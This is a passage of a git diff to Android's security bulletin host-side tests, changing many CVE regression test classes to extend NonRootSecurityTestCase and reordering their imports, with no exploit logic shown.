java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2018_9558 extends SecurityTestCase { +public class CVE_2018_9558 extends NonRootSecurityTestCase { /** * b/112161557 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java index ceeb117a52b..d8027c08248 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2018_9561 extends SecurityTestCase { +public class CVE_2018_9561 extends NonRootSecurityTestCase { /** * b/111660010 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java index 09d391ed758..22f1c97aa3d 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2018_9563 extends SecurityTestCase { +public class CVE_2018_9563 extends NonRootSecurityTestCase { /** * b/114237888 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java index 6e4d588205a..cafea318d8c 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2018_9564 extends SecurityTestCase { +public class CVE_2018_9564 extends NonRootSecurityTestCase { /** * b/114238578 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java index ab18f52e21f..02c470b6a7d 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java @@ -17,13 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import com.android.tradefed.device.ITestDevice; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2018_9584 extends SecurityTestCase { +public class CVE_2018_9584 extends NonRootSecurityTestCase { /** * b/114047681 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java index 4f3a3bf1e66..8c24f9d51bf 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java @@ -17,13 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import com.android.tradefed.device.ITestDevice; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2018_9585 extends SecurityTestCase { +public class CVE_2018_9585 extends NonRootSecurityTestCase { /** * b/117554809 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java index e899b7ae9e9..fb300c4b9bd 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2018_9593 extends SecurityTestCase { +public class CVE_2018_9593 extends NonRootSecurityTestCase { /** * b/116722267 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java index d6e8fb59c0e..d196681d95b 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2018_9594 extends SecurityTestCase { +public class CVE_2018_9594 extends NonRootSecurityTestCase { /** * b/116791157 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java index 826db694646..6f4c33bfcdd 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2007 extends SecurityTestCase { +public class CVE_2019_2007 extends NonRootSecurityTestCase { /** * b/120789744 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java index 373703e3171..9fe5cb4ff8f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java @@ -17,13 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.device.ITestDevice; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2011 extends SecurityTestCase { +public class CVE_2019_2011 extends NonRootSecurityTestCase { /** * b/120084106 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java index 181d660df48..1b4a4a7d364 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java @@ -20,15 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import java.util.regex.Pattern; - -import org.junit.runner.RunWith; import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2012 extends SecurityTestCase { +public class CVE_2019_2012 extends NonRootSecurityTestCase { /** * b/120497437 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java index 0ac72b2b52a..caaa463ab32 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java @@ -17,13 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import com.android.tradefed.device.ITestDevice; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2013 extends SecurityTestCase { +public class CVE_2019_2013 extends NonRootSecurityTestCase { /** * b/120497583 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java index e6863ac86a7..b54d767a91b 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java @@ -17,13 +17,16 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + import com.android.compatibility.common.util.CrashUtils; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2014 extends SecurityTestCase { +public class CVE_2019_2014 extends NonRootSecurityTestCase { /** * b/120499324 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java index 1a798c2199e..bf46c60e611 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java @@ -20,15 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import java.util.regex.Pattern; - -import org.junit.runner.RunWith; import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2015 extends SecurityTestCase { +public class CVE_2019_2015 extends NonRootSecurityTestCase { /** * b/120503926 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java index b7c2ea8fab3..b1a1b54581f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java @@ -20,15 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import java.util.regex.Pattern; - -import org.junit.runner.RunWith; import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2017 extends SecurityTestCase { +public class CVE_2019_2017 extends NonRootSecurityTestCase { /** * b/121035711 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java index 1c5a180e64e..448611fbb4e 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2019.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2019 extends SecurityTestCase { +public class CVE_2019_2019 extends NonRootSecurityTestCase { /** * b/115635871 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java index b65faeef587..9ea384649f9 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2020.java @@ -20,15 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import java.util.regex.Pattern; - -import org.junit.runner.RunWith; import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2020 extends SecurityTestCase { +public class CVE_2019_2020 extends NonRootSecurityTestCase { /** * b/116788646 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java index 8d0d4d65909..b2fd563b5fd 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2021.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2021 extends SecurityTestCase { +public class CVE_2019_2021 extends NonRootSecurityTestCase { /** * b/120428041 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java index 057e937e868..e60f0ba8918 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2022.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2022 extends SecurityTestCase { +public class CVE_2019_2022 extends NonRootSecurityTestCase { /** * b/120506143 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java index df6c6f4b6b2..ad289bf43b9 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2027.java @@ -17,13 +17,16 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + import com.android.compatibility.common.util.CrashUtils; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import org.junit.runner.RunWith; + import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2027 extends SecurityTestCase { +public class CVE_2019_2027 extends NonRootSecurityTestCase { /** * b/119120561 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java index 21b22856fcc..dc941865c22 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2031.java @@ -20,15 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import java.util.regex.Pattern; - -import org.junit.runner.RunWith; import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2031 extends SecurityTestCase { +public class CVE_2019_2031 extends NonRootSecurityTestCase { /** * b/120502559 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java index 8757455e954..a6435617a6a 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2035.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2035 extends SecurityTestCase { +public class CVE_2019_2035 extends NonRootSecurityTestCase { /** * b/122320256 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java index 4fe01646da1..46c0eb4b7e8 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2038.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2038 extends SecurityTestCase { +public class CVE_2019_2038 extends NonRootSecurityTestCase { /** * b/121259048 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java index 63903409371..f411ae1bcd2 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2039.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2039 extends SecurityTestCase { +public class CVE_2019_2039 extends NonRootSecurityTestCase { /** * b/121260197 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java index 6c6d2394329..062248a931d 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2040.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2040 extends SecurityTestCase { +public class CVE_2019_2040 extends NonRootSecurityTestCase { /** * b/122316913 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java index e36c46f7974..a3f6307be76 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2044.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2044 extends SecurityTestCase { +public class CVE_2019_2044 extends NonRootSecurityTestCase { /** * b/123701862 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java index 16487a30037..ab2517dd82a 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2099.java @@ -17,13 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import com.android.tradefed.device.ITestDevice; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2099 extends SecurityTestCase { +public class CVE_2019_2099 extends NonRootSecurityTestCase { /** * b/123583388 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java index 1f3552c31ec..6aee640344b 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2115.java @@ -17,13 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import com.android.tradefed.device.ITestDevice; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2115 extends SecurityTestCase { +public class CVE_2019_2115 extends NonRootSecurityTestCase { /** * b/129768470 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java index fe06a736bf6..cc9e24d61b1 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java @@ -16,15 +16,16 @@ package android.security.cts; -import com.android.tradefed.device.ITestDevice; - import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2135 extends SecurityTestCase { +public class CVE_2019_2135 extends NonRootSecurityTestCase { /** * b/125900276 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java index 91b20000241..cc50bb74e23 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2136.java @@ -17,13 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.device.ITestDevice; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2136 extends SecurityTestCase { +public class CVE_2019_2136 extends NonRootSecurityTestCase { /** * b/132650049 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java index 223e7684b1c..492010b642c 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2178.java @@ -18,12 +18,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; import android.platform.test.annotations.SecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2178 extends SecurityTestCase { +public class CVE_2019_2178 extends NonRootSecurityTestCase { /** * b/124462242 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java index 31ab4ce1c17..ae8f7ed9f34 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2180.java @@ -18,13 +18,14 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2180 extends SecurityTestCase { +public class CVE_2019_2180 extends NonRootSecurityTestCase { /** * b/110899492 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java index 15fab836dd0..b393d26dec6 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2206.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2206 extends SecurityTestCase { +public class CVE_2019_2206 extends NonRootSecurityTestCase { /** * b/139188579 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java index 7ce43c7ad1a..1951c67d3ce 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2207.java @@ -17,12 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_2207 extends SecurityTestCase { +public class CVE_2019_2207 extends NonRootSecurityTestCase { /** * b/124524315 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java index dbd7cc8426d..fe3ff06afdf 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_9247.java @@ -17,13 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.device.ITestDevice; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2019_9247 extends SecurityTestCase { +public class CVE_2019_9247 extends NonRootSecurityTestCase { /** * b/120426166 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java index 58a24499b95..282a677f2ea 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0006.java @@ -17,13 +17,15 @@ package android.security.cts; import android.platform.test.annotations.AsbSecurityTest; -import com.android.tradefed.device.ITestDevice; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2020_0006 extends SecurityTestCase { +public class CVE_2020_0006 extends NonRootSecurityTestCase { /** * b/139738828 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java index 3aa0474a422..32a1e6ce404 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java +++ 